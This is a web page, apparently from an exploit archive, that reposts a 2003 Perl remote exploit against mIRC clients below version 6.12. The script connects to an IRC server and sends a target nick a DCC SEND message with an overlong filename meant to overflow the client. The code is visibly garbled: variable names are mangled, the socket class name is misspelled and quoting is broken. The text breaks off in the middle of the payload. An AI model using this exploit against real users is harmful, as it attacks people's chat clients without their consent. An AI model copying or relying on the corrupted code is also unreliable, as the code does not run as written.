Remote Exploit For Mirc Versions Below 6.12

Remote Exploit For Mirc Versions Below 6.12

Remote Exploit For Mirc Versions Below 6.12

trang này đã được đọc ' Š lần

Submits the code: powwow

Submits the date: 2003-11-05

Code attribute: long-distance

CODE

#! /usr/bin/perl -w

use IO::Socket;

# get irc server to connect to, and nick to exploit

print " Enter Serv: "; chomp ($serv= < STDIN >);

print " Enter Nick: "; chomp ($nick= < STDIN >);

#setup connection

$ocket = IO::Socketc::inet- > new (

PeerAddr= >" $serv ",

PeerPort= > '6667'

) || die " could not connect to $serv: $! ";

#$| = 1;

#$ocket- > autoflush ();

ne= ""

until (ne =~ /Ident/) {

$oldline= ne;

ne = < $ocket >;

if ($oldline ne ne) { print ne; }

}

print $ocket " user ident irc name ircname\n "; #send ident/ircname info

ne= ””;

until ( ne =~/PING/) {

$oldline= ne;

ne = < $ocket >;

if ($oldline ne ne) { print ne; }

}

ne =~ s/, *://;

print $ocket " PONG: ne\n ";

print $ocket " nick thssmnck\n ";

print $ocket ” privmsg $nick: DCC SEND \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa